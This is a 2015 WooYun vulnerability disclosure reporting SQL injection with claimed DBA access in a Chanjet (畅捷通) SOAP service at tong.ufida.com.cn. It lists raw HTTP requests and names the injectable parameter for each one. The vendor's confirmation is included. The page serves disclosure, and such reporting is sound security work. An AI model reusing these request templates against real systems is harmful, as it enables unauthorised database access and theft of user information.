当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0134376

漏洞标题:畅捷通某站SQL注入DBA权限涉及上万用户信息

相关厂商:畅捷通

漏洞作者: 几何黑店

提交时间:2015-08-16 16:55

修复时间:2015-10-01 13:56

公开时间:2015-10-01 13:56

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:20

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-08-16: 细节已通知厂商并且等待厂商处理中
2015-08-17: 厂商已经确认,细节仅向厂商公开
2015-08-27: 细节向核心白帽子及相关领域专家公开
2015-09-06: 细节向普通白帽子公开
2015-09-16: 细节向实习白帽子公开
2015-10-01: 细节向公众公开

简要描述:

畅捷通某站SQL注入DBA权限涉及上万用户信息

详细说明:

http://t.ufida.com.cn/Service.asmx?WSDL
http://tong.ufida.com.cn/Service.asmx?WSDL


POST /Service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/PRM_Support"
Content-Length: 950
X-Requested-With: XMLHttpRequest
Referer: http://tong.ufida.com.cn/Service.asmx?WSDL
Host: tong.ufida.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:PRM_Support>
<urn:login_name>qkocfmsr</urn:login_name>
<urn:company>Wooyun</urn:company>
<urn:shengfen>8pbF19TX</urn:shengfen>
<urn:lianxiren>1</urn:lianxiren>
<urn:phone>555-666-0606</urn:phone>
<urn:email>sample@email.tst</urn:email>
<urn:address>3137 Laguna Street</urn:address>
<urn:mobile>987-65-4329</urn:mobile>
</urn:PRM_Support>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


参数:urn:shengfen

POST /Service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/GetVerSionJSON"
Content-Length: 590
X-Requested-With: XMLHttpRequest
Referer: http://tong.ufida.com.cn/Service.asmx?WSDL
Host: tong.ufida.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:GetVerSionJSON>
<urn:Product>-1</urn:Product>
</urn:GetVerSionJSON>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


参数:urn:Product

POST /Service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/SetBuddy"
Content-Length: 798
X-Requested-With: XMLHttpRequest
Referer: http://tong.ufida.com.cn/Service.asmx?WSDL
Host: tong.ufida.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:SetBuddy>
<urn:login_name>guokotbt</urn:login_name>
<urn:quancheng>1</urn:quancheng>
<urn:jiancheng>1</urn:jiancheng>
<urn:ShengFen>1</urn:ShengFen>
<urn:DiShi>1</urn:DiShi>
<urn:FenQu>-1</urn:FenQu>
</urn:SetBuddy>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


参数:urn:FenQu

POST /Service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/PRM_State"
Content-Length: 588
X-Requested-With: XMLHttpRequest
Referer: http://tong.ufida.com.cn/Service.asmx?WSDL
Host: tong.ufida.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:PRM_State>
<urn:prm_id>C5uH79nj</urn:prm_id>
</urn:PRM_State>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


参数:urn:prm_id

POST /Service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/GetModuleJSON"
Content-Length: 588
X-Requested-With: XMLHttpRequest
Referer: http://tong.ufida.com.cn/Service.asmx?WSDL
Host: tong.ufida.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:GetModuleJSON>
<urn:id>hZ33z5iD</urn:id>
</urn:GetModuleJSON>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


参数:urn:id

POST /Service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/GetOnlyBuddyInfoByFwCode"
Content-Length: 608
X-Requested-With: XMLHttpRequest
Referer: http://tong.ufida.com.cn/Service.asmx?WSDL
Host: tong.ufida.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:GetOnlyBuddyInfoByFwCode>
<urn:Fw_Code>94102</urn:Fw_Code>
</urn:GetOnlyBuddyInfoByFwCode>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


参数:urn:Fw_Code

POST /Service.asmx HTTP/1.1
Content-Type: text/xml
SOAPAction: "http://tempuri.org/PRM_Support"
Content-Length: 950
X-Requested-With: XMLHttpRequest
Referer: http://tong.ufida.com.cn/Service.asmx?WSDL
Host: tong.ufida.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/1999/XMLSchema" xmlns:xsi="http://www.w3.org/1999/XMLSchema-instance" xmlns:m0="http://tempuri.org/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:urn="http://tempuri.org/">
<SOAP-ENV:Header/>
<SOAP-ENV:Body>
<urn:PRM_Support>
<urn:login_name>coqgpkwu</urn:login_name>
<urn:company>Wooyun</urn:company>
<urn:shengfen>1</urn:shengfen>
<urn:lianxiren>1</urn:lianxiren>
<urn:phone>555-666-0606</urn:phone>
<urn:email>sample@email.tst</urn:email>
<urn:address>3137 Laguna Street</urn:address>
<urn:mobile>987-65-4329</urn:mobile>
</urn:PRM_Support>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>


参数:urn:shengfen

漏洞证明:

QQ图片20150815205425.png


QQ图片20150815210455.png


QQ图片20150815210545.jpg

修复方案:

你懂的

版权声明:转载请注明来源 几何黑店@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2015-08-17 13:55

厂商回复:

感谢您对我们的关注和支持,该问题存在,我们正在修复。

最新状态:

暂无


漏洞评价:

评论